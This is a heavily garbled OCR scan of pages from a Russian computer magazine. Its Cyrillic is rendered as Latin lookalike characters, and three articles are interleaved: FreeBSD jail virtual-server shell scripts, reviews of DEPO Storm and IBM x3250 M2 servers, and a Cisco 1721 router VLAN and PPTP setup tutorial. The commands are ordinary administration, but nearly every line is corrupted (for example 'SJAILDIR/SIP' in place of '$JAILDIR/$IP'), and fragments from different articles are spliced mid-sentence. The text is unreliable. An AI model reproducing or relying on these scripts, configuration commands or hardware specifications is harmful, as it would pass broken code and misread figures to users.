nfeO: Hrver. host. com: 7-:-i-RELEAse:vasya@host.cOII:'l;rial :200903211500:okl nfeO: ssh. host. com: 7 .l-RELEASE :111; xer@host.cOlI:base;200904050122:ok: nfeO: necDO. host. com: 7 .I-RELEASE: nerao@hoS't.C(lfII:t";al:200903052241:ok nhO:lIIdb. host. com: 7 .I-RELEASE: m; i@host.COIlI:base:2oo903211500:ok nfeO:vor. host. com: 7 .1~RELEASE :vor@hos't.com:base:200901011U3:disabled edO: xakep.host . COllI: 7.l-RELEASE: xakep@host.clXII:vip:201005051132:ok edQ: boris .host .com: 7 .I-RELEASE: bor1 s(\lhost. com:base: 200903Z11S00: ok edO: edu. han. com:l.1-RELEASE: i1nna@host.com:extra:200903211S00:ok edO :",1 ra. host: .COII: 7.1-RELEASE:mi ra@.host.cOII:base:200903251631:ok : edO: 055. host. COla: 7. I-RELEASE : fossi-host. cora: ext:ra:200908211022 :ok

nplo1Mep 3an0J1HeHH0I1 6a3bl cepaepoa

cepSepOB

umount SJAILDIR/$IP/usr/ports/packages umount $JAILDlR/$IP/dev U11l0unt $JAILOIH/SIP/proc

"PROVIOE 11 REQUIRE t: KEYWORD

vservers OAEMON c1 eanvar nojail

ifconEig $U' inet -alias STP t.ITo6bI He 3aMOpa"lHBaTb01 CPyqHhIM 3MyCKOM cepnepOB, HaIIHWeMCKpHnT

jetejre.subr

vservers, KOTOpbU1 npOBepReTorrU:H1ovservers_enable B/ete/rc.conf, 3arryCK3­

name="vservel's" rcvar= set_rcvar' start_cmd","vservers_start" stop_cmd"'''vservers_stop''

requi recLfil es","/us r /ia1 1base/db"

eT Bee roTOBbre BMPTYaJlhHhle cepBepbl no Bpe~rn 3arpy:llCH DC H ocr8HaBJTHBa­ eT 60 BpeM1:l waTl'aytIa.

# vim !usr/localletc!rc,d/vservers

CepBepOB VSERVERS",'Cat: jusrjiailbase/db I grep -e ':okS' I cut -d ':' -f l' if [ SVSERVERS '" •. ,. J; then ex; t #

nony~aeM

KnlO'IeBble CTpOlOi 3TOI'O 4>aHn:a:

Cn~COK pa60TOCnoco6H~X

fj

#

n0J1Y''!ae~1

Crrl1:COK pa6oTocnoco6HblX cep!'\epOB

VSERVERS'" 'cat /tlsr/jailbase/db I grep -e ':ok$' I cut-d :' -f l'

:; npou.e~ypa JanycKa cepBepOB vservers_start()

Ir I1pol(e.o.ypa 3anycK/l cepsepoB

(

vservers start ( ) for IP in SVSERVERS; do jusr/local/binjst:artvserver SIP done

for IP in $VSERVERS; do

/usr/local/bin/startvserver SIP

:: npou.eAypa OCTSH08K14 cepBepoa vservers_stopO

done

(

for IP in SVSERVERS; do

fi npoue.rtYpa oC'raHOBKI1 cepaepoa

CKpl.1nT lusr/localletc/rc.d/vservers

vservers_stop ( ) - f 4'

HOSTNAME"" echo $STRING I cut -d OSVE?"" echo $S'I'RING I cut -d it 1anycKaeM jclil-cEpsep

for IP in $VSERVERS; do

-f 5'

/usr/1ocal/binjstopvserver $IP done

ifconfig $IF inet alias $IP mount -t devfs ::lone $JAILDIR/SIP/dev

Bce. PaCCMOTpeHHble CKptInTbl aBTOMaTH3HpYJOT acro rpfl3H)110 pa60T}'.

devfs -m $JAILDIR/$IP/dev ruleset 1

BOT H

mount -t procfs none $JAILDIR/$IP/proc

60Jlbwe He Hj')KHo KOMOI-UmpOBaTb OKp)')Kemle HCITOllHeHIDI, tlo6aBJI>ITb

mount_nullfs $JAILBASE/dislfiles-$OSVER SJAILDIRISIP/usr/ports/distfiles mount_nullfs $JA:LBASE/packages-$OSVER

tlBe KOMaHAbl,- H BHpTyaJlbHblH cepBep C03,1l;aH, 3aJ1YIUeH H nOJIHOCTblO fOTOD

IP-OceB,ll,OHHMbl Ii pe.AaKTHpoBaTb tPaH.rrbl30HlJJ:ocraro'-lHO SblllOJIHHTh Dcero

I( HCrrOJlb30BaHHIO:

$JAILDIR/SIP/usrjports/packages jail SJAILDIR/$IP $HOSTNAME SIP /bin/sh /etc/rc

it IP=' addvserver new .host. com ".l-RELEASE vasya@mai1.ru

base 0906061200 CKpHDT stopvserver rrepe.n: oCTaHOBKOH. npo~cnblBae'rTe)f{e

warl1 H, nnJOCK

/ny6n~YH~w/KnD~/BacH'

# startvservel' $IP

3TOMY, npoBep.R:eT, 3arryrn;eH JlH cepBep CnOMOlltblO KOMaHAbl jls- H H3BJIeKa­

eT eroJID (nepaM K01IOHKaBblBO,o;ajls): # vim lusr!locaVbin!stopvserver II npOF.lep.l'leM, 3anYUll.!H nl1

STRING='jls

I

cepaep

DCTaHOBHTb Ii YAMHTh cepsep eJ..Ll,e npo~e:

# stopvserve.r SIP # delvserver SIP

grep $IP'

if [ : • $STRING" ); then echo "CepBep SIP

H~

3cUTill\eu»

exit 3

fi Ii Y31laeM j id cepeepa JID'" 'echo SSTRING I cut -d ' , - f l'

OCTaJiOCb T01IbKO HaHRTb Be6-pa3pa6o-PrnKOB, K01'Opf>le C03l'aJIH 6bl nou.epx 3TOI'O X03HHCTBa npocrOH HHTep¢>eil:CtvlH perl1crpaUHH IIOJIb30BaTeJleH, Ii

HanHcaTb He6oJTbWO:H CKpI1ITr, KOTOpblH 313nyCKaJl016hl no KpOHy H npOBep$VI, He HCTeK lIH CpoK apeHAbi a KJ<aYHTa (npHMep CKpI1nTa Thl HaftnellI.b aaAHClCe) .

KAPKAC C03AAH MbJco3,QaJll1»nOJ1Hepa60TOcrroc06HblH. KapKaC

jai1-cepsep killall -j $JID -TERM> /dev/null 2>&1

6y~ero CepBl1ca. B CJH~,l{}'IOllteH CTaTb€ Mbl pacCMoTpH.M, KaK npHRpynlTb

sleep 1

TOB, cHCTeM)' 63Karra, HaJlO>KI1M BceB03MO)f(J-Ible orpaHH'leHl1J'I H C03l'3,l!,HM

kiUall -j SJID -KILL. > /dev/null 2>&1

reTeporeHHyIO CI1CTeM)', B KOTOPOH CMOryr COC}'IUecTBoBaTb pa3Hbie BeJX11H

umount $JAILDIR/$IP/usr/ports/distfiles

FreeBSD-OIcPYJ.KeJiHH. I

1/

OC11lHal-l/I:.1BaeM

XAKEP 05 /1251 09

K HeJ,1Y n01lHolJ:eHHblH. MOHHTOpHlIf, HacrpoH.KH tvm pa3HbJX nlnOB aKKa}'H­

~

131


'~

NA.l"HAN BINKERT

f

NATJaSYNACK.RU

I

'\J

-J--llleBllH:iblli1

uno pJ~

I~

=t3KO HOMKYHbllrill:np_DKllOAMIelUiRbl HIePB-ep--­ y

I "e"""

-

1 ~~I

;')10-[·11 ":;)"''':)

TexHH~ecKHexapaKTepHCTHKH

> np0l..\eccop Intel Penllu rn dual-core E2200/ E5200 MJlM Intel Core 2 Duo E7200 /E8400 > naMSlTb

.0.08 r6 AsyxK8Ha,1bH0L1 naMSHl-1 OOR2-800 > A14CKOSble OTCeKl4

8 OTceKOB nOil 5.25" YCTpo~cTBa > nOAAep>KKa RAID V1HTerpv.posaHHb!i:1 SATA RAID·KoHTpoJlJlep Intel

ICH9R lRAID 0, 1.5, 1OJ. nOMep>KL-1sa fOUJ,lI1L1 JJ:o 6 .lKeCTKVlX .oI-1CKOB

> CeTeBoi1 "HTepq>ei1c

2-nopTOeb;l.1I-1HTerpVlpos8HHbILll Gigabit Ethernet

10/100/1000 M6"T IInlel825731 > n"TaH"e 5110K nltlTcHI1f1

MClt\HOCTbfO

eHHbll.16nOK I":vnaH\.1f1 Ha !-136brTO"lh'OCTblO

1<1

700

8T

1-1/11-1

CASO­

500 8T (2x500 BTl c

S03MO~HOCTblO rop~"lel1

38MeHbi

> ~cnOflHeHMe OT.oenbHo CTOfllllal=l6aWHl1

(ABW, MM1- 591 ~'130·221, CHO>KKa­ 591* 4494'330, 6pyno 695·355"545

Pa3Mepbl MIo1

Macea -.0025 Kr ,D,onollHI.neJ1bHO t·lO;+;:eT nocraSfll1TbCfI KOMn­ neKT ,QJ1A MOI-lTa)l(c S AJH1HY

500

COeT8S!1l<eT

CepBep DEPO Stonn 11SONS, C03.D,aHHblK cneUHa­

KC'-IaCTblO, 3TO He npo6.neMa, nOTOMy !{aJ{l{OnOJlHH­

JlI1CTaMI1 J<OM nam1H DEPO Computers, paCC'l"I1TaH B

TeJlbHO

~

nepByJOOt{epe,n;b Ha npJ.1MCHeAHeB c¢epe MaJIOrO H

napaTHbJMJof

,

cpe.lu~ero 6H3Hcca.

LogicWlH Adaptec Ha 4 H.1lH 8 nopTOB H3Bbl60p (Aim

~

u

Z

~

I

3TO HetJ,OporoH, HonpoH3Bo.a;H­

cepeep MOJKeT 6blTh YKOMrtrleKTOeaH wan­

SAS/SATA

RAID-I{OHTpClJDlepaMJof

LSI

cepsep, BbInOJIHeHHhlH B 4;lopM-¢laKTope Pedestal, BblCOTOH 45 CaHTHMelpOB, K01OPbJ.~1 B MH­

nOClle,nHero TaJOKe ,Il.OCTyTTHa 6aTapeJI aBapHHHoro

HHM3JIhHOH KOH4111l')'pamui MO)KHO HCTIOJIb30BaTb

KOB MO)!(HO nO,ll.06paTh JofH,AHBHAYaJlbHO- BMeCTeC

TeJlbHhl"

B Ka'leCTBC Bt-ryI'pllceTeBOro

DNS-, DHCP-,

OpaK­

mrraHHJl. K3l1I-naMJITH).

KQJIH'leCTBO» o6oeM AHe­

KOP3HHOH «rOpR.l.l.eM 3aMeHbll' Ha 5,lU1cKOB.

rn-cepBepa, 6paH,llMaY3pa Ii llUIlO3a}:VLS! oqmca He·

MaTepHHCKM

60!J.bWoH KOMflamUf. YcraHoBKa OnIJ.HOHaJIbHOrO

3200

RAlD-KOHTpo.n.nepa nB 4 I1JlH 8 tl.HCKOB npeopaTHT

KOHTpo.1UlepoM Intel82573V+82566DM H BHAeoa­

nnaTa nOCTpoeHa Ha 'lHnCeTe Intel

c mrrerp»poBaHHbl:M 2·nop1'OBblM

ceTeBblM

19" CTOL:1Ky. Pellbcbl ViMe;OT

MM. BblCOTa

cepsepa s CTOL1Ke

5U

"rOp5l'leH 3aMeHb1», a TaJOf{e KOMfUleKT,II)UI :MOHTa­

>Ka.a CTOHKY 19".

CepBep

nOCTal3JUleTCR C ,ll.Ot<yMeHTIUweH Ha pyc­

CKOM .lI3blKe It nO,lHbIM Ha6opOM Heo6XO,1lHMblX

ApaHBepon. 3a ,Il..OnOJlHJofTe.nbHYJO IUlaTY cneUi'la­ DEPO Computers ycraHoB5IT Ha cepBep MS Windows 2008 Standard H Ha60p no, 113 KOTOporo MO>KHO Bhl6paTb MS SharePoint Services 3.0 H MS Hyper-V.

JlueThl

KOHlimrypaUH1I eepBepa O'leHh m6Ka. Ha eal1Te KOMrraJlHH HMeeTCR YAo6 HblH: KOH<pHrypaTop, KO­

era B Ha,ll,e>KHblH ¢laM-cepsep JUIH cepsep web-xoc­

AarrrepoM XGI Z9S 16M6. 06beM npe.z.GlC'l'aHOBJIeH­

TOPhlH n03DomfT nOtl.06paTb MHO)f(eCT80 ,Il.onOJl­

TItHra.

HOM orreparnBHoH oar-tAT" 6aphHpyeTCfI OT OAHOro

HHTeJlbHblX KOMrrOHeHTOB

no YMOJIQaHHlO cepsep ocnameH nporpaMMHo-an­ rrapaTHblMSATA RAlD-KOHT!X)illlCpoM IntelICH9R.

,Il.0 (MaKCHM)'M) BOChM» mra6ai:iT ,Il.6yxKaHaJlbHOH

OT HeH)')KHhlx

OH no,1UlepWIBaeT AO meCTH ):UI0<08, HO pa60TaeT

OCHall.\eHnpHBO,Il.aMHDVD-ROMHFDD,OTYcraHOB­

TOJlbKO B

nape C.llpaHBejXJM onepaU;HOHHOH CHCTe­

DDR2-BOO. B craA,ltaprnoi1 KOMl1JIeKTaJ.lHH cepsep KHKOTopbIX,nnpo'leM,MO)J{HOOTKaJaTbCI.Oco6eH­

MbI H He o6ecne<£HBaer H~eJI(HOCTH, cpasHHMOH C

HO paA)'eT Om\HOHaJlhHhlH CAnoeHHbI}! GJlOl< mrra·

nOJIHOCTblO anrrapaTHbIMH RAID-KOHTpOJVlepar.m.

HJUI, 06w.eH MOll.\HOCThfO 1000 BTH B03MO)J{HOCTbfO

~

132

cepBepa H QTKa3aTbCH npelJ;ycTaHoBoK. UeHa cepBepa B craH,dapTHOH Konqnfrypal..Vm, 6KJllOl IaJOll.\eH npOQeccop Intel Pentium dual-core E5200, 1 r6 orrepaTHBHoi1 naM5ITH, )f{ecrKHflllHcK Ha 250 r6 H 6JlOK nI1XallH5I Ha 700 BT. eOCTaBJIReT 33578 py6JIeH.I XAKEP 05/125/ 09


plte.tL--------------r­

TeXHM'leCKMe xapaKTepMcTMKM

IBM

:>Apyroe:

> nOAAepmKa RAID:

System x3250 M2:

VlHTerpV1poBaHHblVi annapaTHblVl RAID 0, -1 B

IPMI2.0-co8MecT>1Mbl~

> npolleceop (OAMH 1'131:

cTBHAapTHoVl KOMnl1eKTaLJ,l-1li1, AOnOJlHlt1TeflbHO

TenbHO RSA II Slim Line

rrl..\,

Intel Xeon 3360 (4eTblpeXM1AepHbli1112,83

V1HTerpVlpoBaHHbI~8e\)J,eoaAanTep

RAID-5

1333Mr"FSB,12M61

ATI

ES1 000

32 M6

Intel Xeon 3120 [p,Byxb51JJ,epHblii} [3,16 rrll"

> CeTeaoH MHTepepel1c:

1333 Mr"FSB, 6 M61

ABa aAanrepa Gigabit Ethernet [GbEI

Intel Core 2 Duo E7200 [2,53 rrll, 1066 Mru, FSB, 3 M61

> nlo1TaHHe:

Intel CeLeran 12

mini BMC2. .QonOllHL-1­

rru, 80C Mr4 FSB. 512 K61

npVl8o,o,DVD+/-RW

:> CI1CTeMa OXlla>K,QeHI1.R: TeXtiOllOn1>l

61101< n,Ha HI-1l'!

M0UJ,HOCTblO

Calibrated Vectored Cooling

level

350 BT :> ~CnOllHeHl1e:

:> naMS'lTb: AO

> PacwVlpeHHe:

8 r6 ,r"ByxKaHaJlbHO~ OnepaTl-1BHOL'l

naM51TVl

YCTaHoBKa B CTOHKy/1

U, 22"

B rny6l-1HY

1 e110T PCI Express x8

DDR2-667/800

1 eflOT PCI Express x4

:> rapaHTVlI1HOe o6cnY>lo1SaHl1e: OrpaHw-+eHHa" rapa+HIII\1 Ha 1111111113 rO,ll,a

• ~""""'''''OTCeKlt:

> BHewHHe nopTbl BBOAa-BbIBOAa

3aMeH~eMble 3aKa3 LH1KOM MOAYJll-1

4 pa3beMa USB 2.0 12 cnepeJ],L-1, 2 c3aJJ,V1j 1 BblxoAVGA IO-Sub)

saHllleM Ha MeCTe 3KcnnyaTau,1414

3_'::-,:·)Vo'.\OSblX1!HCKa C 803MO)l(HOCTblO

- -::.';' ~=a.>e"':'

H

HI-nep¢>ei1coM SATA. ,asa

=-"""-"C.:oIX LlI~C"2 SCSI IsASJ/SATA, llV160

-"",

2.5-':!(J~MoBblxAIIICKa

SAs

C B03MO)l(­

"DC:;:'-SI~132MeHbl

nopTa

IDB-9MI

Pa3beMbi PS/2 AMI nOAKlllO«eHlJt51 MblWlII '"

K.naBl.1,nypbl

....,"'''''':r3250 ~12 D03Hl.{HOlfMpyeTCR K3K cep­ -=::lI!IIia.ThHO OQ,J..XOA.IIIl{HH ,lVIR nOMep)KI01

,nocraroQHO AJIJl pa60Tbl CeTeBhlX cepsHCOB ue6oJIh­ mOM KOMIlaHI1H.

B Kal.lecrne

XpaHHJIHll..Ia ,lJ,aHHhlX

Ka, pel)'llHPY.ll CKOpocTH epaJ.l.I.eHlliI

neHTIIJUlTOpoa

B 3anMCHMOCTH OT BHyrpeHHHX Ter.tneparyp_

:.:n-o

~IP:-;l..-rypblHe60JIbllli1X KOMnaHHH

MOryI' 6bITb HCTIOJIh30BaHhI napa 3,5-,lJ,lOtiMoBblx

n03BOJIReT CHH3H1."bllJ}'MOBbJe nOKa3aTeJlH H pacxDA

tL &a.3) o.:a3aTb, 3TO npaOAa. HI13KliH

)I<eCTKHX,D;HCKOB SATA, napa3,5-AJOHMOBblXJUfCKOD

3JleKTP03Hepnm_ Oc06o OTt<1eTilM HaJIH9He ocrpo­

3BeP£OflOllX'MeH.lliI, MaJIblH pa3­

SAS/SATA lUlU 'leThlpe 2,S-,lJ,JOHMOBblX,lJ,IiCKa SAS_

eHHoro

TIpH'leM, nOClleAHHe ,ll,Ba Bapl1aHTa npetJ:IIOJIaraKrr

BMC2, COOMeCTHMOrO co cneUHqHfKaLUieit

?--III!J". .:0::

2 nOCJleAOBilTeflbHblX

Ha

c 06Cfly>t<V1­

~1IbHOCTbH

-l.sp;r C EeBbl:coRofi

nOMcp)J(Ka

ueHoli (OT

36800

B03MOiKHOCTb ropH'ICM 3aMeHhI He TOJIhKO

6e.3 OC­

2.0

ynpaBJUIloW;ero MUHU-KOHTJXlIllIepa mini­

IPMI

(HH'.reJlJIeKTYMbHblH HHTep¢eHC ynpalmeHIDI

~OT ~$W)'Pal.{HH) ?\eJIillOT ero

TaHOBKH cepBepa, HO J1 6e3 H3BJ1e'lemI51 113 CToHKH.

Wla,.q,opMoH). KpoMe OCHOOHbIX <!JYHKUI1.H, mini­

oqeHb ITpHBJIeKal'e11.bHhTM B Ka'lecrne Ha,D;(')KHOro

BcrpoeHHblH RAID-KOHTpQ1lJlep nOAAeJ»KH.BaeT

BCM2 TalOKe n03BOJUIeT ynpaBJUl.·Ib H CJIe,1J,HTb 3a

n09TOBOro HJIH web-cepnepa, KOIITp0JUIepa tJ;oMe­ H8

Active Directory,

6aJIaHCHpOBlI.\HKa H3rpY3KH,

DNS-, DHCP-, npoKCHocepBepa Will 6paHAMayapa_ Bhl'lHCftI1TelJbHaJ'l

l\IOW;HOCTb cepsepa MO)J(eT 6bITb

HH,QHBHAYanbHono,ao6paHanO~3a~a\ry.LI,IDKeBMH­

KOH41mypaI.{HJO

RAID-O, -1,

HO ,lI,llH nonyqeHlliI

nOMep}f(}(l1 IWD-S apH,ll;eTCR yCTaHOBHTb ,ll,onUlI­ m:lTeJJ.bHbUi

a,ll,arrrep PCI-Express. Cepnep BblIlUlI­

COCTOflHHeM RAID-l<OH1,:>OJU1epa. L1,onO,1JUITeJTbHO MOiKHO

npH06pect-I1 3,ll,all'I'ep tvIR ytJ;aJIeHHoro yn­

paancHWl RSA II Slimtine (en.wikipedia.orzlwiki! Ad<l~. CpeAH 0<pH1.\H­

HeH B <PoPM-<PaKTOpe 1U ,lVllf ycraHoBKli B croih<y,

IBM Remote Supervisor

6JIaro.a.apa \Ier.ry OH OTJTWlHO nO,llXO,D;HT.lVlH- pacIIIH­

anbllO nOMep)J(HIlaeMblX Onepa1.\HOHHhTX CHCTe11

HHMaJIbliOii KOHQ>HIJ'PaI.UUI C npoueccopoM Imel

pe.HHSi cymcCTB)'lOm;eH ceTeBoH I1H<ppaCTPYI<'I}'PbT_

'JHCJUfTCK MS

Celeron Ha 2 rru H 01I;HHM rnra6aHToM orrepaTIiB­

TeXliOJIOnMI Calibrated Vectored Cooling (evC) on­

Linux-,n;HCTpH6yrnSbl Red Hat Enterprise Unux RS II

HOM oaMJITH np0I13BOAJITenbHOCTI1 6y.n:eT BnOJIHe

niMH3HpYeTnyTb0poxOil{,1leHWlB03tl,yuIHoronoTO-

SUSELinux Enterprise Server 10. I

XAKEP 05/125/ 09

Windows 2003, Novell NetWare 6.5 H

~

133


~

VASIUY «CAN/WAR» OlEROV

I FR33M2/olr.IGIo4All',COM f

I"

~_ ,

~

1---1'-'_61-------"=~

I

L

I

,L],yMaewb, '1TO pa60TaTb c ceTeBblM 060pyp,oBaHV1eM Cisco Systems MO,yT TonbKO 60poAaTbie A51p,bKV1 c CepTl-1epV1KaTaMV1 He HV1}1{e CCIE? nOCTapa­ IDCb Te651 B3TOM nepey6eAV1Tb.

~

00

B HAWE BPEMH TonbKO nEHItBblH Itnlt AAnEKItH OT KOMnblOTEPOB HE cnbl­ WAn 0 CISCO.3'raKoMnaHwljJ,oBonbHo,n;aBHo pa6oTae1' B

c4>epe HHcPoPMaUHoHHbIX TeXHOJIQ­

niH Hpa3paGaTbISaeTCeTeBoe o60pY,lJ;oBaHJ.1e, KOTopoeno3BOJlJ'leTpeWHThnpaKTH'IecRH13ce

B03HHKaIOlQHe3CiAaQH. KaKTbI nOHl'IMaeWb, C'l'ORT TaKHe,lleBaHCbI He $10, a HaMHoro tJ;opoJKe.

EIGRP, TORbKO H3 IPv4, IlKJIIOl.laeT NAT H VLAN'bl (802.1q H ISL); k9 - nOAD,€J»KKa wHtPpoaaRlliI;

lXa6hl I1pli HeilOJIa,lI,KaX Beel'''' ocraoanaCh B03­

• mz nOKa3bllmeT, 'ITO ¢latin. HBJUleTCJl. 6HHapHbiM

KOHeu KOHCO..l bHOro npoBo,n:a uerumeM KO;UCKe,

(n.Jr.H OKaThlX HCnOJlb3YeTOf tar);

t\pyrOH KoHeu- KKOM.ny, HCnOJTb3}?1 COM-nopT.

• 124-12-HoMep pe.nH33. ,lJ,Jm Bb160pa no,o:XOMILIero 10S'a HCnOJlb3yeTOl ynLllHTa Feature Navigator. HaxOAlITCiI OHa Ha oqmqHaJIbHOM caJ1:Te Cisco: tools.cisco.com!

MOIKHO<:Tb IIp0.ll.OJDKeHI1JI HacrpoHfill. l1ra K, OllHH

YT06hl nO,llK1lIO'iHTbOl K,n:eSaHcy, 3anyCKaeM JllO­ 6yIO repMHHallbH)'lO rrporpaMMy H COe,r(HHfIeMCll C

COM-nop-roM H<l CKOpocrn 9600. RaK BapHaHT,­ MO:>KeIlIb HCIIDJlb30BaTb HyperTerminal, KOTOPhlH

'IOU/erN Iisp/index.lsp. VICKaTh nOjV;.O,/1,RlQH.H

BKJUO"leH BCOCTaB Windows. Ilocne nOAKJIlO"IeHHH

lOS MO)l{HO no Ha60py B03MO:>KHOCTeH, no 11cnOJIb·

}KMeM

Router Simulator), H TOJlbKO nOTOM nepexO,ll,HTb

3yeMoH ruraTq>opMe, a TalOKe no Ha3BaHHiO 06pa­

peJKHM KOMaH,!l;oH «enable». B,lXaHHhIH MOMeHT

K pearrbHbl M CHeTeMaM. A eCJlH Te6e He Tep­

3a. "Y.To6btnOc."10TpeTb, KaKOj;j yTe6Jl.ycraHoBAeH

MO>KHO nOCMOtpeTb COCTOl1HHe pa3JIII'iHblX C'1eT­

mITca 1l0BepTeTb B p}'KaX)KeJle3KY OT Cisco, TO

10S,,D;OCTaTO'iHO Ha6paTh B KOHCOJ\I1:

'ffiKOB, TeK}'lllYJO H CTapTOB)'lOKoH<pHrypaLlHIO, a

n03TOMY1'1 COBeT}'Kl CH3'1alla nOTpeHHpOBaTf;>OJ Ha. 3MyJUITOpax

(Xenomips, GNS3, Boson

<Enter> l { BXO,[lMM BnpHBHJTernpoBaHHblH

T3lOI.<e npOH.)BeCTH nOMcKHeHcnpaoHocret1 B ceTH

MO)f{eWb nOXQAliTb no pa3JIH'IHbIM 6apaXOJIKaM

npli06pecnI 06opYAO.BaHHeTaM. HMeHHO Tal< $'I HnocryTiKll, KynHB Mapwpyn13aTOp Cisco 1721

cisco#show version

H

(n HMero B BH.lO'ping, rraceroute). 2Vrn nepexOt\8 BpC:>KHM KOH<pHrypaItHHHe06xo,llJ.JMo BBecrH

HM0ttYJIh pacwHpemrnWIC-4ESW (CBHT'-l Ha 4

3m KOMal~a BblJ{aCT nOJlH)'Kl HH4>opr.tal.\HIO 0

KOMaHAY«configure termina!>,. I1MeHHo B 3TOM

nopTa) 3a 10ktlepeMHHhlX. BnoRHe JWpMaJIhHO,

TBodi: l.V!clCe-KOJIH'ieCTBOnaMl1Tl1, al1TaHM,

J>e)l<JIMe Mbl H 6YAe.M n poH3B(),Z(Ifth BOO .ll.anbHeH.­

eclJ'U cpaBHlmaTb C l.\eHaMH B Mara3HHax (TaM 6bl

MO.n;eJlb n poueecopa, .n;ocrynHble HHTep<Peilcbl,

W}'lO HacrpOHKy.

CMeHl1 COtlPaJlH elUeThldl'i 20, K:JKMHHHMyM).

3Ha"le.Jme KOHf}mrypaW!oHHoro perHcrpa.

nOAKnlOl.4EHME CETE" BnpJ.JHQIlOe,3.l1.eCh

,llyM8iO, Thl caM pa36epewhdl, K8K)'lO MOt\eJ!b np~IK'YT!HTb, 8

l1 nOKa paccKillKy npo HCflOJIh3yeMoe

nOCTAHOBKA 3AAAl.4M B Haq8JlhHbIXYCJlOBH'

HH'IerO CJImt<Horo- nOJ\KJ110'laeM BHT)'K> napyB

}IX y HaCeCTbll:Ba npo13a:i1,nepa: nepBblH ITpeAOCTaB­

l.\HCKyH npRCnaHBaeM lP-3t\peea HHTe!'4encaM.

JIfleT,u;ocryn B HHTepHeT"Iepe3JIOKaJJbH)IlO CeThe

Bce 6bI XOpOllIO, HO nOpTbl MOtJYIDI WIC-4E$W

cepblM ('UfI3i'1: npHBaTHblM) IP, BTOPOH Bbt,ll,aeT 6ellM" IP, HO TOJ!bKonocne yCTaHOBJIeHWi CO("AH­

-3TO switch-nOpTbl, TO CCTb Ha HRX HeJI.b3H

MeJt{CeTeIlM onepaJ.{UOHHaH cHCTeMa) YCTa­

HallJlHBaeTOlH8cereBoeo6opy,a;oBaHHeCiscoH

HeHM e PPTP-cepBepoM. TalOKeyHac HMeeTOl

CBO,n:JITdI KA06aOJleHHIO epH311'!eCKHX nopTOB B

npet\0CTaBJmeT 1l03MO:>KH()C"fh rn61<OH Hacrpot'um

.ll;BeJIOKaJIbHblX cem C at\pecaMH 192.168.1.0/24

onpeJJ;eJleHHhleVLAN'bl.AJmTex, KTOHeBKypce: VLAN -3TO BHpTyMbHaR JIOKaJlbHillI Bbl"lHC­

nporpaMMHOe o6ecneQeHHe.

CISCO lOS IDS Onternetwork Operation System,

BblCraBHTb IP-ClApet

CL2 switching). PerneHHe

eCJm TbI Ol'paRli'IeH.a CP€ACTSax, Mow;eWb nOHC­

192.168.3.0/24. J\tI.pec ,n:eMHJlHTapH30nal-IHOH 30HbI (DMZ) -10.10.20.0/24. ¢OpMYJIHpyeM

KaTb H}')KKhlH IOS·06pa3 H8 epopyMax (HanpnMep,

3Ma"lH:

ceTH eOCTOHT BTOM, "ITO OmenHeTCl'l OHa OT

torrcms.ru/(orum). BepcHIO onepauHOffiQ1 nOJI,6H­

t. CiSCo.l(OJDKHa YCTaH"aBJlI1BaTb COe,D;J.1HeHHe C

t\pyrnx cereH He <pH3H'ieeKH (ycr<lHOBKa ROBOro

on:reMhl.

no-XoporneMY, 10$ H}?KHO nOK)'IlaTb, HO

H

JIHTe-lbHM CeTb, OTJll1'me KOTOpori oTo6hNHOH

paH nQAKoHKpeTIlhle3allaQM.,llonyCTHM, HMHM<

PPTP-cepBepoM.

060pY.ll.OBaHUll), aJIOf!l"leCKH (Ra ynpaBJ1JleMOM

lOS H33h1BaeTOITaK: cI700-ipbasek9-rnz.124-12.

2. JIoKaJlbHble cenl,n:OJI)KHbI BhlXO,l.l,HTb B HHTepHeT

KOMMYTaTOpe CTaBHTCH COOTBeTCTilHe MeJKAYeM

bin (H3 MoeH I.U1CKe ycraHoBJIeH HMclmooH). B

"iepe3 nepBoro

A3HHOM eJIY'-Iae:

3. Bce3anpocbl Aa BHewHMH IP ,ZJ:OJl)J(Hhl nepeHa­

CJlOBaMH, ,!I)lH pememUlllaweH np06Jle3.thl HaM

nponati,D.epa (Dblt\eJlJIeT eepbIH [Pl.

He06xQAHMO C03.ll.aTb qeTblpe au pTyaJIbHble ceTH,

• c1700 03Ha'iaeT, 'ITO 105 np~Ha3Ha'ieH,lVUI

npaBJUlTbdl B DMZ Ha cooTBeTCTBYJOIUHe cepBepa.

o60py,n:oB8HlliI17·j:{ CepHI1;

4.,l{;mJIOKaJlbHblX ceTeH UI1CI<allOJl)f{Ha BblCTY·

• ipbasek9~Ha60pBo3Mo)KHOCTeH; ipbase

oaTb B ponH DNS

IfDHCP eepBepoB.

paewl1<ppoBbiBaeTCR KaK H8'IanbHbIH ypoBeHb

rrOpTaMH U Onpe,D;e.aeHHbTMH VLAN). JWyrw.m

npHeBOJ.'lTb HM IP-a.ll.peca H CKasaTb I..l)1CKe, 'ITO :nOTnopT npMHap)le)J(}fT J"roA CeTH,

a 3TOT-TOH.

l{T06bl He 3a Hl1MaTb .ll.parou;eHl.fOe W;ypHa..lbHoe

<PYHKJ.U10H8JlbHOCTIl, 06ecne'l HBaCT 6a30BhlH pOyw

nOAKniOIiEHHE K LU1CKE Hnpe,I.\I10'iHTaJoHa­

MeCTO H He nOBTOpJlTbCil, npHBe;J;y npUMepTOJlbKO

THHr, TO eCTb CTaTIi'leClme Maprnpyrbl, RIP, OSPF,

CTpaHBaTb ceTeBoe o60pyt\o.aaHHe 'lepe3 KOHCQJlb,

,l!)UI O,llHOH

~134

I

.1

I

.4

'e::IJE3'--.L_LJ-LLei-lLLL-.....J~~~~~

~t.p.a:HB:aet.(L61:IeBoVl Ci-sCQP~ep:::=

• i

I

cern:

XAKEP OS 112S/ 09


CxeMa

--11---.....1 -­

Hawe~

cen,

CISCO 1721

VEB SERVER

• ciscoilvlan database cisco (vlan} IIvla!'. 2 VLJ>.N 2 added:

Vlan2·192.168.1.254·YES·manual -up ·up cisco#sh ip int brief fa4

Na.. .n e: VLl\.N0002

Interface·IP-Address·OK?·Method·

cisco(vl.an)#ex

Status-Protocol

"?", HeeH)')KHO BBeCTM BpY'-lH)'IO, EilJarCl,Aapfl31'OH l(or.'laH,ll;e, npn Bbl60pe npoTOKona nO~KJI1O"IeHWI MO)f(HO BbI6paTb npOTOKOJI PPTP.

cisco(config)#service internal

FastEthernet4·unassigned.YES. TenepbHaCTpOI1MHaIIIvlan-I1HTep¢eHC

I

I I

cisco-it-conf t

unset·up·up cisco#sh vlan-S;'Jitch VLAN Name Status

vl<O'..:1 2 cisco(configlilint vlan 2

1

default

2

VLAN0002

BKJlIO\laeM HHaCTpaJ1BaeM vpdn (Virtual Private Dialup Nerwork):

Ports

! HaCTpal1!3ae~

I

